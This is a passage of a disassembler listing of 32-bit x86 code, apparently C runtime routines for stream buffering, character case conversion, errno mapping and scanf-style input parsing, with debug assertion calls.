					; sub_41FFF0+2EAj
		jmp	loc_420235
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_41FFF0:loc_420224j
					; sub_41FFF0+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4DB57C, 0
		jz	short loc_420313
		mov	eax, dword_4DB564
		jmp	short loc_420315
; ---------------------------------------------------------------------------


loc_420313:				; CODE XREF: ___:0042030Aj
		xor	eax, eax


loc_420315:				; CODE XREF: ___:00420311j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420320	proc near		; CODE XREF: ___:0042611Dp
					; ___:004261DFp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4DC7C8, 0
		jnz	short loc_420340
		push	0FFFFFFFDh
		call	sub_41FB40
		add	esp, 4
		mov	dword_4DC7C8, 1


loc_420340:				; CODE XREF: sub_420320+Aj
		pop	ebp
		retn
sub_420320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420350	proc near		; CODE XREF: sub_417BD0+41p
					; sub_417BD0+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	dword_4DB57C, 0
		jnz	short loc_42037C
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417770
		add	esp, 0Ch
		jmp	loc_420471
; ---------------------------------------------------------------------------


loc_42037C:				; CODE XREF: sub_420350+11j
		push	19h
		call	sub_41B780
		add	esp, 4


loc_420386:				; CODE XREF: sub_420350:loc_42043Ej
		cmp	[ebp+arg_8], 0
		jz	loc_420443
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DB681[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_420415
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_4203DA
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_420443
; ---------------------------------------------------------------------------


loc_4203DA:				; CODE XREF: sub_420350+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_420413
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_420443
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_420350+B8j
		jmp	short loc_42043E
; ---------------------------------------------------------------------------


loc_420415:				; CODE XREF: sub_420350+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_42043E
		jmp	short loc_420443
; ---------------------------------------------------------------------------


loc_42043E:				; CODE XREF: sub_420350:loc_420413j
					; sub_420350+EAj
		jmp	loc_420386
; ---------------------------------------------------------------------------


loc_420443:				; CODE XREF: sub_420350+3Aj
					; sub_420350+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_420464
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_420443
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420350+101j
		push	19h
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_420471:				; CODE XREF: sub_420350+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_420350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420480	proc near		; CODE XREF: sub_4181D0+2Ep
					; sub_41A370+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_420530
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4204A0
; ---------------------------------------------------------------------------


loc_420497:				; CODE XREF: sub_420480:loc_4204C8j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4204A0:				; CODE XREF: sub_420480+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_4204CA
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_443F90[eax*8]
		jnz	short loc_4204C8
		call	sub_420520
		mov	edx, [ebp+var_4]
		mov	ecx, dword_443F94[edx*8]
		mov	[eax], ecx
		jmp	short loc_42050D
; ---------------------------------------------------------------------------


loc_4204C8:				; CODE XREF: sub_420480+33j
		jmp	short loc_420497
; ---------------------------------------------------------------------------


loc_4204CA:				; CODE XREF: sub_420480+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_4204E3
		cmp	[ebp+arg_0], 24h
		ja	short loc_4204E3
		call	sub_420520
		mov	dword ptr [eax], 0Dh
		jmp	short loc_42050D
; ---------------------------------------------------------------------------


loc_4204E3:				; CODE XREF: sub_420480+4Ej
					; sub_420480+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_420502
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_420502
		call	sub_420520
		mov	dword ptr [eax], 8
		jmp	short loc_42050D
; ---------------------------------------------------------------------------


loc_420502:				; CODE XREF: sub_420480+6Aj
					; sub_420480+73j
		call	sub_420520
		mov	dword ptr [eax], 16h


loc_42050D:				; CODE XREF: sub_420480+46j
					; sub_420480+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_420480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420520	proc near		; CODE XREF: sub_417E70:loc_418142p
					; sub_419D80+E4p ...
		push	ebp
		mov	ebp, esp
		call	sub_41F970
		add	eax, 8
		pop	ebp
		retn
sub_420520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420530	proc near		; CODE XREF: sub_41A370+4Ap
					; sub_41B1B0+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_41F970
		add	eax, 0Ch
		pop	ebp
		retn
sub_420530	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420550	proc near		; CODE XREF: sub_417E70+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB1B8, 0
		jnz	short loc_420577
		cmp	[ebp+arg_0], 61h
		jl	short loc_420572
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_420572
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_420572:				; CODE XREF: sub_420550+11j
					; sub_420550+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_4205DF
; ---------------------------------------------------------------------------


loc_420577:				; CODE XREF: sub_420550+Bj
		push	offset dword_4DB45C
		call	near ptr 2840CCAh
		nop
		cmp	dword_4DB458, 0
		jz	short loc_4205A9
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_4205B0
; ---------------------------------------------------------------------------


loc_4205A9:				; CODE XREF: sub_420550+39j
		mov	[ebp+var_4], 0


loc_4205B0:				; CODE XREF: sub_420550+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4205F0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4205D1
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_4205DC
; ---------------------------------------------------------------------------


loc_4205D1:				; CODE XREF: sub_420550+73j
		push	offset dword_4DB45C
		call	near ptr 2840C7Bh
		nop


loc_4205DC:				; CODE XREF: sub_420550+7Fj
		mov	eax, [ebp+arg_0]


loc_4205DF:				; CODE XREF: sub_420550+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_420550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205F0	proc near		; CODE XREF: sub_420550+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DB1B8, 0
		jnz	short loc_42061C
		cmp	[ebp+arg_0], 61h
		jl	short loc_420614
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_420614
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_420614:				; CODE XREF: sub_4205F0+13j
					; sub_4205F0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_420717
; ---------------------------------------------------------------------------


loc_42061C:				; CODE XREF: sub_4205F0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_420663
		cmp	dword_443B70, 1
		jle	short loc_420641
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_420655
; ---------------------------------------------------------------------------


loc_420641:				; CODE XREF: sub_4205F0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_420655:				; CODE XREF: sub_4205F0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_420663
		mov	eax, [ebp+arg_0]
		jmp	loc_420717
; ---------------------------------------------------------------------------


loc_420663:				; CODE XREF: sub_4205F0+33j
					; sub_4205F0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_4206AC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_4206BD
; ---------------------------------------------------------------------------


loc_4206AC:				; CODE XREF: sub_4205F0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_4206BD:				; CODE XREF: sub_4205F0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, dword_4DB1B8
		push	edx
		call	sub_425B90
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4206F1
		mov	eax, [ebp+arg_0]
		jmp	short loc_420717
; ---------------------------------------------------------------------------


loc_4206F1:				; CODE XREF: sub_4205F0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_420701
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_420717
; ---------------------------------------------------------------------------


loc_420701:				; CODE XREF: sub_4205F0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_420717:				; CODE XREF: sub_4205F0+27j
					; sub_4205F0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4205F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420720	proc near		; CODE XREF: sub_418240+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_420729:				; CODE XREF: sub_420720+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42074D
		push	offset dword_4334B4
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42074D
		int	3		; Trap to Debugger


loc_42074D:				; CODE XREF: sub_420720+Dj
					; sub_420720+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420729
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_4285B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_420773
		xor	eax, eax
		jmp	loc_420870
; ---------------------------------------------------------------------------


loc_420773:				; CODE XREF: sub_420720+4Aj
		cmp	[ebp+var_4], offset dword_4438E0
		jnz	short loc_420785
		mov	[ebp+var_8], 0
		jmp	short loc_42079E
; ---------------------------------------------------------------------------


loc_420785:				; CODE XREF: sub_420720+5Aj
		cmp	[ebp+var_4], offset dword_443900
		jnz	short loc_420797
		mov	[ebp+var_8], 1
		jmp	short loc_42079E
; ---------------------------------------------------------------------------


loc_420797:				; CODE XREF: sub_420720+6Cj
		xor	eax, eax
		jmp	loc_420870
; ---------------------------------------------------------------------------


loc_42079E:				; CODE XREF: sub_420720+63j
					; sub_420720+75j
		mov	ecx, dword_4DB110
		add	ecx, 1
		mov	dword_4DB110, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_4207C3
		xor	eax, eax
		jmp	loc_420870
; ---------------------------------------------------------------------------


loc_4207C3:				; CODE XREF: sub_420720+9Aj
		mov	ecx, [ebp+var_8]
		cmp	dword_4DB19C[ecx*4], 0
		jnz	short loc_42082A
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_414DD0
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	dword_4DB19C[edx*4], eax
		mov	eax, [ebp+var_8]
		cmp	dword_4DB19C[eax*4], 0
		jnz	short loc_42082A
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_420859
; ---------------------------------------------------------------------------


loc_42082A:				; CODE XREF: sub_420720+AEj
					; sub_420720+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DB19C[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h


loc_420859:				; CODE XREF: sub_420720+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1


loc_420870:				; CODE XREF: sub_420720+4Ej
					; sub_420720+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420880	proc near		; CODE XREF: sub_418240+A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_420887:				; CODE XREF: sub_420880+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_4208B4
		cmp	[ebp+arg_0], 1
		jz	short loc_4208B4
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4208B4
		int	3		; Trap to Debugger


loc_4208B4:				; CODE XREF: sub_420880+Bj
					; sub_420880+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420887
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_42090D
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42090D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41B420
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0


loc_42090D:				; CODE XREF: sub_420880+44j
					; sub_420880+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420920	proc near		; CODE XREF: sub_418AF0+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi


loc_42092C:				; CODE XREF: sub_420920+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_420953
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420953
		int	3		; Trap to Debugger


loc_420953:				; CODE XREF: sub_420920+10j
					; sub_420920+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42092C


loc_420959:				; CODE XREF: sub_420920+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_420980
		push	offset dword_4334A4
		push	0
		push	10Ch
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420980
		int	3		; Trap to Debugger


loc_420980:				; CODE XREF: sub_420920+3Dj
					; sub_420920+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420959
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax


loc_420997:				; CODE XREF: sub_420920:loc_421C05j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_421C0A
		cmp	dword_443B70, 1
		jle	short loc_4209C9
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_4209E5
; ---------------------------------------------------------------------------


loc_4209C9:				; CODE XREF: sub_420920+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx


loc_4209E5:				; CODE XREF: sub_420920+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_420A33
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_421DE0
		add	esp, 8
		push	eax
		call	sub_421DC0
		add	esp, 8


loc_420A14:				; CODE XREF: sub_420920+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_428A50
		add	esp, 4
		test	eax, eax
		jz	short loc_420A33
		jmp	short loc_420A14
; ---------------------------------------------------------------------------


loc_420A33:				; CODE XREF: sub_420920+CCj
					; sub_420920+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_421AEE
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0


loc_420A95:				; CODE XREF: sub_420920:loc_420BEDj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_420BF2
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	dword_443B70, 1
		jle	short loc_420AD9
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_420AF6
; ---------------------------------------------------------------------------


loc_420AD9:				; CODE XREF: sub_420920+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx


loc_420AF6:				; CODE XREF: sub_420920+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_420B26
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_420BED
; ---------------------------------------------------------------------------


loc_420B26:				; CODE XREF: sub_420920+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_420BE5
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, byte_421C68[edx]
		jmp	off_421C48[ecx*4]


loc_420B60:				; DATA XREF: ___:00421C4Co
		jmp	loc_420BED
; ---------------------------------------------------------------------------


loc_420B65:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:00421C58o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_420BED
; ---------------------------------------------------------------------------


loc_420B78:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:00421C50o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_420BBA
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_420BBA
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_420BED
; ---------------------------------------------------------------------------


loc_420BBA:				; CODE XREF: sub_420920+263j
					; sub_420920+270j
		jmp	short loc_420BE5
; ---------------------------------------------------------------------------


loc_420BBC:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:00421C54o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_420BED
; ---------------------------------------------------------------------------


loc_420BC7:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:00421C5Co
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al


loc_420BCF:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:00421C60o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_420BED
; ---------------------------------------------------------------------------


loc_420BDA:				; CODE XREF: sub_420920+239j
					; DATA XREF: ___:off_421C48o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_420BED
; ---------------------------------------------------------------------------


loc_420BE5:				; CODE XREF: sub_420920+225j
					; sub_420920+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_420BED:				; CODE XREF: sub_420920+201j
					; sub_420920:loc_420B60j ...
		jmp	loc_420A95
; ---------------------------------------------------------------------------


loc_420BF2:				; CODE XREF: sub_420920+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_420C15
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx


loc_420C15:				; CODE XREF: sub_420920+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_420C4C
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_420C39
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_420C44


loc_420C39:				; CODE XREF: sub_420920+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_420C4C
; ---------------------------------------------------------------------------


loc_420C44:				; CODE XREF: sub_420920+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al


loc_420C4C:				; CODE XREF: sub_420920+2FFj
					; sub_420920+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
